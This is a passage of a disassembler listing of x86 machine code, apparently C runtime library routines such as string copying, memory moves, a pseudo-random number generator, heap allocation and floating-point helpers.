arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_40B193
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_40B134
		shr	ecx, 2
		jnz	short loc_40B1A1
		jmp	short loc_40B155
; ---------------------------------------------------------------------------


loc_40B134:				; CODE XREF: sub_40B110+1Bj
					; sub_40B110+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_40B162
		test	al, al
		jz	short loc_40B16A
		test	esi, 3
		jnz	short loc_40B134
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40B1A1


loc_40B150:				; CODE XREF: sub_40B110+8Fj
		and	ebx, 3
		jz	short loc_40B162


loc_40B155:				; CODE XREF: sub_40B110+22j
					; sub_40B110+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_40B18E
		dec	ebx
		jnz	short loc_40B155


loc_40B162:				; CODE XREF: sub_40B110+2Bj
					; sub_40B110+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B16A:				; CODE XREF: sub_40B110+2Fj
		test	edi, 3
		jz	short loc_40B184


loc_40B172:				; CODE XREF: sub_40B110+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_40B206
		test	edi, 3
		jnz	short loc_40B172


loc_40B184:				; CODE XREF: sub_40B110+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40B1F7


loc_40B18B:				; CODE XREF: sub_40B110+7Fj
					; sub_40B110+F4j
		mov	[edi], al
		inc	edi


loc_40B18E:				; CODE XREF: sub_40B110+4Dj
		dec	ebx
		jnz	short loc_40B18B
		pop	ebx
		pop	esi


loc_40B193:				; CODE XREF: sub_40B110+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B199:				; CODE XREF: sub_40B110+A9j
					; sub_40B110+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_40B150


loc_40B1A1:				; CODE XREF: sub_40B110+20j
					; sub_40B110+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_40B199
		test	dl, dl
		jz	short loc_40B1EB
		test	dh, dh
		jz	short loc_40B1E1
		test	edx, 0FF0000h
		jz	short loc_40B1D7
		test	edx, 0FF000000h
		jnz	short loc_40B199
		mov	[edi], edx
		jmp	short loc_40B1EF
; ---------------------------------------------------------------------------


loc_40B1D7:				; CODE XREF: sub_40B110+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_40B1EF
; ---------------------------------------------------------------------------


loc_40B1E1:				; CODE XREF: sub_40B110+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_40B1EF
; ---------------------------------------------------------------------------


loc_40B1EB:				; CODE XREF: sub_40B110+ADj
		xor	edx, edx
		mov	[edi], edx


loc_40B1EF:				; CODE XREF: sub_40B110+C5j
					; sub_40B110+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_40B201


loc_40B1F7:				; CODE XREF: sub_40B110+79j
		xor	eax, eax


loc_40B1F9:				; CODE XREF: sub_40B110+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_40B1F9


loc_40B201:				; CODE XREF: sub_40B110+E5j
		and	ebx, 3
		jnz	short loc_40B18B


loc_40B206:				; CODE XREF: sub_40B110+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40B110	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B210	proc near		; CODE XREF: sub_4013CA+15p
					; sub_4013CA+3Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40B230
		cmp	edi, eax
		jb	loc_40B3A8


loc_40B230:				; CODE XREF: sub_40B210+16j
		test	edi, 3
		jnz	short loc_40B24C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40B26C
		rep movsd
		jmp	off_40B358[edx*4]
; ---------------------------------------------------------------------------


loc_40B24C:				; CODE XREF: sub_40B210+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40B264
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40B26C+4[eax*4]
; ---------------------------------------------------------------------------


loc_40B264:				; CODE XREF: sub_40B210+46j
		jmp	dword ptr loc_40B368[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40B26C:				; CODE XREF: sub_40B210+31j
					; sub_40B210+8Ej ...
		jmp	off_40B2EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40B27C+4
		dd offset loc_40B2AC
; ---------------------------------------------------------------------------


loc_40B27C:				; DATA XREF: sub_40B210+64o
		sal	byte ptr [edx-2EDCFFC0h], 1
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40B26C
		rep movsd
		jmp	off_40B358[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40B2AC:				; DATA XREF: sub_40B210+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40B26C
		rep movsd
		jmp	off_40B358[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_40B26C
		rep movsd
		jmp	off_40B358[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40B2EC	dd offset loc_40B34F	; DATA XREF: sub_40B210:loc_40B26Cr
		dd offset loc_40B33C
		dd offset loc_40B334
		dd offset loc_40B32C
		dd offset loc_40B324
		dd offset loc_40B31C
		dd offset loc_40B314
		dd offset loc_40B30C
; ---------------------------------------------------------------------------


loc_40B30C:				; CODE XREF: sub_40B210:loc_40B26Cj
					; DATA XREF: sub_40B210+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40B314:				; CODE XREF: sub_40B210:loc_40B26Cj
					; DATA XREF: sub_40B210+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40B31C:				; CODE XREF: sub_40B210:loc_40B26Cj
					; DATA XREF: sub_40B210+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40B324:				; CODE XREF: sub_40B210:loc_40B26Cj
					; DATA XREF: sub_40B210+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40B32C:				; CODE XREF: sub_40B210:loc_40B26Cj
					; DATA XREF: sub_40B210+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40B334:				; CODE XREF: sub_40B210:loc_40B26Cj
					; DATA XREF: sub_40B210+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40B33C:				; CODE XREF: sub_40B210:loc_40B26Cj
					; DATA XREF: sub_40B210+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40B34F:				; CODE XREF: sub_40B210:loc_40B26Cj
					; DATA XREF: sub_40B210:off_40B2ECo
		jmp	off_40B358[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40B358	dd offset loc_40B368	; DATA XREF: sub_40B210+35r
					; sub_40B210+92r ...
		dd offset loc_40B370
		dd offset loc_40B37C
		dd offset loc_40B390
; ---------------------------------------------------------------------------


loc_40B368:				; CODE XREF: sub_40B210+35j
					; sub_40B210+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40B370:				; CODE XREF: sub_40B210+35j
					; sub_40B210+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40B37C:				; CODE XREF: sub_40B210+35j
					; sub_40B210+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40B390:				; CODE XREF: sub_40B210+35j
					; sub_40B210+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40B3A8:				; CODE XREF: sub_40B210+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40B3DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40B3D0
		std
		rep movsd
		cld
		jmp	off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40B3D0:				; CODE XREF: sub_40B210+1B1j
					; sub_40B210+208j ...
		neg	ecx
		jmp	off_40B4A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40B3DC:				; CODE XREF: sub_40B210+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40B3F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40B3F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_40B3F4:				; CODE XREF: sub_40B210+1D6j
					; DATA XREF: sub_40B210+1DDr
		jmp	off_40B4F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	[eax+eax*2+40B42800h], dh
		add	[eax-4Ch], dl
		inc	eax
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_40B3D0
		std
		rep movsd
		cld
		jmp	off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40B3D0
		std
		rep movsd
		cld
		jmp	off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40B3D0
		std
		rep movsd
		cld
		jmp	off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40B4A4
		dd offset loc_40B4AC
		dd offset loc_40B4B4
		dd offset loc_40B4BC
		dd offset loc_40B4C4
		dd offset loc_40B4CC
		dd offset loc_40B4D4
off_40B4A0	dd offset loc_40B4E7	; DATA XREF: sub_40B210+1C2r
; ---------------------------------------------------------------------------


loc_40B4A4:				; DATA XREF: sub_40B210+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40B4AC:				; DATA XREF: sub_40B210+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_40B4B4:				; DATA XREF: sub_40B210+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40B4BC:				; DATA XREF: sub_40B210+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_40B4C4:				; DATA XREF: sub_40B210+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40B4CC:				; DATA XREF: sub_40B210+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40B4D4:				; DATA XREF: sub_40B210+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40B4E7:				; CODE XREF: sub_40B210+1C2j
					; DATA XREF: sub_40B210:off_40B4A0o
		jmp	off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40B4F0	dd offset loc_40B500	; DATA XREF: sub_40B210+1B7r
					; sub_40B210:loc_40B3F4r ...
		dd offset loc_40B508
		dd offset loc_40B518
		dd offset loc_40B52C
; ---------------------------------------------------------------------------


loc_40B500:				; CODE XREF: sub_40B210+1B7j
					; sub_40B210:loc_40B3F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40B508:				; CODE XREF: sub_40B210+1B7j
					; sub_40B210:loc_40B3F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40B518:				; CODE XREF: sub_40B210+1B7j
					; sub_40B210:loc_40B3F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40B52C:				; CODE XREF: sub_40B210+1B7j
					; sub_40B210:loc_40B3F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40B210	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B545	proc near		; CODE XREF: sub_40154B+33p
					; sub_403E11+54p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_41DBB0, eax
		retn
sub_40B545	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B54F	proc near		; CODE XREF: sub_401412+4Dp
					; sub_401412+5Ap ...
		mov	eax, dword_41DBB0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_41DBB0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_40B54F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56D	proc near		; CODE XREF: sub_401412+40p
					; sub_403E11+24Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_40B5B0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_40DF72
		add	esp, 10h
		leave
		retn
sub_40B56D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B5B0	proc near		; CODE XREF: sub_401412+19p
					; sub_401B3F+7p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40B5D0


loc_40B5BC:				; CODE XREF: sub_40B5B0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40B603
		test	ecx, 3
		jnz	short loc_40B5BC
		add	eax, 0


loc_40B5D0:				; CODE XREF: sub_40B5B0+Aj
					; sub_40B5B0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40B5D0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40B621
		test	ah, ah
		jz	short loc_40B617
		test	eax, 0FF0000h
		jz	short loc_40B60D
		test	eax, 0FF000000h
		jz	short loc_40B603
		jmp	short loc_40B5D0
; ---------------------------------------------------------------------------


loc_40B603:				; CODE XREF: sub_40B5B0+11j
					; sub_40B5B0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40B60D:				; CODE XREF: sub_40B5B0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40B617:				; CODE XREF: sub_40B5B0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40B621:				; CODE XREF: sub_40B5B0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40B5B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B630	proc near		; CODE XREF: sub_401965+1Ap
					; sub_40199F+22p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40B683
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40B677
		neg	ecx
		and	ecx, 3
		jz	short loc_40B659
		sub	edx, ecx


loc_40B653:				; CODE XREF: sub_40B630+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_40B653


loc_40B659:				; CODE XREF: sub_40B630+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40B677
		rep stosd
		test	edx, edx
		jz	short loc_40B67D


loc_40B677:				; CODE XREF: sub_40B630+18j
					; sub_40B630+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_40B677


loc_40B67D:				; CODE XREF: sub_40B630+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B683:				; CODE XREF: sub_40B630+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40B630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B690	proc near		; CODE XREF: sub_402972+5p
					; sub_403CA3+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_40B6B0


loc_40B69C:				; CODE XREF: sub_40B690+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40B69C


loc_40B6B0:				; CODE XREF: sub_40B690+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_40B690	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6BF	proc near		; CODE XREF: sub_401965+Ap
					; sub_40199F+12p ...

arg_0		= dword	ptr  4

		push	dword_47F96C
		push	[esp+4+arg_0]
		call	sub_40B6D1
		pop	ecx
		pop	ecx
		retn
sub_40B6BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D1	proc near		; CODE XREF: sub_40B6BF+Ap
					; sub_40C185+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_40B6FA


loc_40B6D8:				; CODE XREF: sub_40B6D1+27j
		push	[esp+arg_0]
		call	sub_40B6FD
		test	eax, eax
		pop	ecx
		jnz	short locret_40B6FC
		cmp	[esp+arg_4], eax
		jz	short locret_40B6FC
		push	[esp+arg_0]
		call	sub_40EA23
		test	eax, eax
		pop	ecx
		jnz	short loc_40B6D8


loc_40B6FA:				; CODE XREF: sub_40B6D1+5j
		xor	eax, eax

locret_40B6FC:				; CODE XREF: sub_40B6D1+13j
					; sub_40B6D1+19j
		retn
sub_40B6D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6FD	proc near		; CODE XREF: sub_40B6D1+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_480F88
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_40B721
		cmp	esi, dword_480F80
		ja	short loc_40B753
		push	esi
		call	sub_40EFAC
		test	eax, eax
		pop	ecx
		jz	short loc_40B753
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B721:				; CODE XREF: sub_40B6FD+Dj
		cmp	eax, 2
		jnz	short loc_40B753
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_40B736
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_40B739
; ---------------------------------------------------------------------------


loc_40B736:				; CODE XREF: sub_40B6FD+2Fj
		push	10h
		pop	esi


loc_40B739:				; CODE XREF: sub_40B6FD+37j
		cmp	esi, dword_41FC34
		ja	short loc_40B760
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_40FA4F
		test	eax, eax
		pop	ecx
		jnz	short loc_40B76F
		jmp	short loc_40B760
; ---------------------------------------------------------------------------


loc_40B753:				; CODE XREF: sub_40B6FD+15j
					; sub_40B6FD+20j ...
		test	esi, esi
		jnz	short loc_40B75A
		push	1
		pop	esi


loc_40B75A:				; CODE XREF: sub_40B6FD+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_40B760:				; CODE XREF: sub_40B6FD+42j
					; sub_40B6FD+54j
		push	esi
		push	0
		push	dword_480F84
		call	dword_417104	; RtlAllocateHeap


loc_40B76F:				; CODE XREF: sub_40B6FD+52j
		pop	esi
		retn
sub_40B6FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B771	proc near		; CODE XREF: sub_4019F4+Ap
					; sub_401A0D+73p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_40B7D7
		mov	eax, dword_480F88
		cmp	eax, 3
		jnz	short loc_40B79D
		push	esi
		call	sub_40EC58
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40B7C9
		push	eax
		call	sub_40EC83
		pop	ecx
		pop	ecx
		jmp	short loc_40B7D7
; ---------------------------------------------------------------------------


loc_40B79D:				; CODE XREF: sub_40B771+14j
		cmp	eax, 2
		jnz	short loc_40B7C8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_40F9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B7C8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_40FA0A
		add	esp, 0Ch
		jmp	short loc_40B7D7
; ---------------------------------------------------------------------------


loc_40B7C8:				; CODE XREF: sub_40B771+2Fj
					; sub_40B771+44j
		push	esi


loc_40B7C9:				; CODE XREF: sub_40B771+20j
		push	0
		push	dword_480F84
		call	dword_417108	; RtlFreeHeap


loc_40B7D7:				; CODE XREF: sub_40B771+Aj
					; sub_40B771+2Aj ...
		pop	esi
		leave
		retn
sub_40B771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B7DA(double)

sub_40B7DA	proc near		; CODE XREF: sub_402112+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_41DBC0
		call	sub_41064C
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_40B860
		call	sub_410514
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B843
		cmp	eax, 2
		jle	short loc_40B835
		cmp	eax, 3
		jnz	short loc_40B843
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_40FE24
		add	esp, 10h
		jmp	short loc_40B8A5
; ---------------------------------------------------------------------------


loc_40B835:				; CODE XREF: sub_40B7DA+3Fj
		push	esi
		push	ebx
		call	sub_41064C
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B8A5
; ---------------------------------------------------------------------------


loc_40B843:				; CODE XREF: sub_40B7DA+3Aj
					; sub_40B7DA+44j
		fld	[ebp+arg_0]
		fadd	dbl_417630
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_40B89D
; ---------------------------------------------------------------------------


loc_40B860:				; CODE XREF: sub_40B7DA+2Fj
		call	sub_4104D9
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_40B883


loc_40B875:				; CODE XREF: sub_40B7DA+ACj
		push	esi
		push	ebx
		call	sub_41064C
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_40B8A5
; ---------------------------------------------------------------------------


loc_40B883:				; CODE XREF: sub_40B7DA+99j
		test	bl, 20h
		jnz	short loc_40B875
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_40B89D:				; CODE XREF: sub_40B7DA+84j
		call	sub_40FE77
		add	esp, 1Ch


loc_40B8A5:				; CODE XREF: sub_40B7DA+59j
					; sub_40B7DA+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40B7DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8A9	proc near		; CODE XREF: sub_40D118+9p
					; sub_410715+21p
					; DATA XREF: ...
		call	sub_40B8C1
		call	sub_410715
		mov	dword_47F8F0, eax
		call	sub_4106C5
		fnclex
		retn
sub_40B8A9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40B8C1	proc near		; CODE XREF: sub_40B8A9p
		mov	eax, offset sub_410B03
		mov	off_41FD54, offset sub_410798
		mov	off_41FD50, eax
		mov	off_41FD58, offset sub_4107FE
		mov	off_41FD5C, offset sub_41073E
		mov	off_41FD60, offset sub_4107E6
		mov	off_41FD64, eax
		retn
sub_40B8C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8FC	proc near		; CODE XREF: sub_402112+1Bp
					; sub_402112+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_40B8FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B923(double)

sub_40B923	proc near		; CODE XREF: sub_40215E+83p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_41DBD8
		call	sub_41064C
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_40B9A9
		call	sub_410514
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B98C
		cmp	eax, 2
		jle	short loc_40B97E
